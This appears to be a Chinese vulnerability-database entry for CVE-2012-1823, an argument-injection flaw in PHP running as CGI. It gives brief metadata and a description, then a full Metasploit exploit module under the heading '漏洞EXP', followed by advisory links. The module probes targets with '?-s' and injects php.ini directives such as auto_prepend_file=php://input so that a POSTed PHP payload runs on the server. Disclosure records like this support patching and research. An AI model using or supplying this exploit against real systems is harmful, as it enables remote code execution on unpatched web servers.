PHP ‘php-cgi’ 参数信息泄漏漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1121101 漏洞类型 输入验证
发布时间 2012-05-04 更新时间 2012-05-08
CVE编号 CVE-2012-1823 CNNVD-ID CNNVD-201205-108
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/18834
https://cxsecurity.com/issue/WLB-2012120212
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201205-108
|漏洞详情
PHP(PHP:HypertextPreprocessor,PHP:超文本预处理器)是PHPGroup和开放源代码社区共同维护的一种开源的通用计算机脚本语言。该语言主要用于Web开发,支持多种数据库及操作系统。PHP中存在信息泄漏漏洞。远程攻击者可利用该漏洞在服务器进程上下文中查看文件的源代码,获取敏感信息,在受影响计算机上运行任意PHP代码,也可能执行其他攻击。
|漏洞EXP
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'PHP CGI Argument Injection',
			'Description'    => %q{
				When run as a CGI, PHP up to version 5.3.12 and 5.4.2 is vulnerable to
				an argument injection vulnerability.  This module takes advantage of
				the -d flag to set php.ini directives to achieve code execution.
				From the advisory: "if there is NO unescaped '=' in the query string,
				the string is split on '+' (encoded space) characters, urldecoded,
				passed to a function that escapes shell metacharacters (the "encoded in
				a system-defined manner" from the RFC) and then passes them to the CGI
				binary."
			},
			'Author'         => [ 'egypt', 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     => [
					[ "CVE"	, "2012-1823" ],
					[ "URL"	, "http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/" ],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'DisableNops' => true,
					# Arbitrary big number. The payload gets sent as an HTTP
					# response body, so really it's unlimited
					'Space'       => 262144, # 256k
				},
			'DisclosureDate' => 'May 03 2012',
			'Platform'       => 'php',
			'Arch'           => ARCH_PHP,
			'Targets'        => [[ 'Automatic', { }]],
			'DefaultTarget' => 0))

		register_options([
			OptString.new('TARGETURI', [false, "The URI to request (must be a CGI-handled PHP script)"]),
			], self.class)
	end

	# php-cgi -h
	# ...
	#   -s               Display colour syntax highlighted source.
	def check
		uri = target_uri.path

		uri.gsub!(/\?.*/, "")

		print_status("Checking uri #{uri}")

		response = send_request_raw({ 'uri' => uri })

		if response and response.code == 200 and response.body =~ /\<code\>\<span style.*\&lt\;\?/mi
			print_error("Server responded in a way that was ambiguous, could not determine whether it was vulnerable")
			return Exploit::CheckCode::Unknown
		end

		response = send_request_raw({ 'uri' => uri + '?-s'})
		if response and response.code == 200 and response.body =~ /\<code\>\<span style.*\&lt\;\?/mi
			return Exploit::CheckCode::Vulnerable
		end

		print_error("Server responded indicating it was not vulnerable")
		return Exploit::CheckCode::Safe
	end

	def exploit
		begin
			args = [
				"-d+allow_url_include%3d#{rand_php_ini_true}",
				"-d+safe_mode%3d#{rand_php_ini_false}",
				"-d+suhosin.simulation%3d#{rand_php_ini_true}",
				"-d+disable_functions%3d%22%22",
				"-d+open_basedir%3dnone",
				"-d+auto_prepend_file%3dphp://input",
				"-n"
			]

			qs = args.join("+")
			uri = "#{target_uri}?#{qs}"

			# Has to be all on one line, so gsub out the comments and the newlines
			payload_oneline = "<?php " + payload.encoded.gsub(/\s*#.*$/, "").gsub("\n", "")
			response = send_request_cgi( {
				'method' => "POST",
				'global' => true,
				'uri'    => uri,
				'data'   => payload_oneline,
			}, 0.5)
			handler

		rescue ::Interrupt
			raise $!
		rescue ::Rex::HostUnreachable, ::Rex::ConnectionRefused
			print_error("The target service unreachable")
		rescue ::OpenSSL::SSL::SSLError
			print_error("The target failed to negotiate SSL, is this really an SSL service?")
		end

	end

	def rand_php_ini_false
		Rex::Text.to_rand_case([ "0", "off", "false" ][rand(3)])
	end

	def rand_php_ini_true
		Rex::Text.to_rand_case([ "1", "on", "true" ][rand(3)])
	end

end
|参考资料

来源:US-CERTVulnerabilityNote:VU#520827
名称:VU#520827
链接:http://www.kb.cert.org/vuls/id/520827
来源:bugs.php.net
链接:https://bugs.php.net/bug.php?id=61910
来源:www.php.net
链接:http://www.php.net/ChangeLog-5.php#5.4.2
来源:bugs.php.net
链接:https://bugs.php.net/patch-display.php?bug_id=61910&patch=cgi.diff&revision=1335984315&display=1
来源:www.php.net
链接:http://www.php.net/archive/2012.php#id2012-05-03-1
来源:eindbazen.net
链接:http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/
来源:SECUNIA
名称:49014
链接:http://secunia.com/advisories/49014
来源:SECUNIA
名称:49053
链接:http://secunia.com/advisories/49053
来源:SECUNIA
名称:49065
链接:http://secunia.com/advisories/49065
来源:SECUNIA
名称:49085
链接:http://secunia.com/advisories/49085
来源:SECUNIA
名称:49087
链接:http://secunia.com/advisories/49087
来源:SECUNIA
名称:49097
链接:http://secunia.com/advisories/49097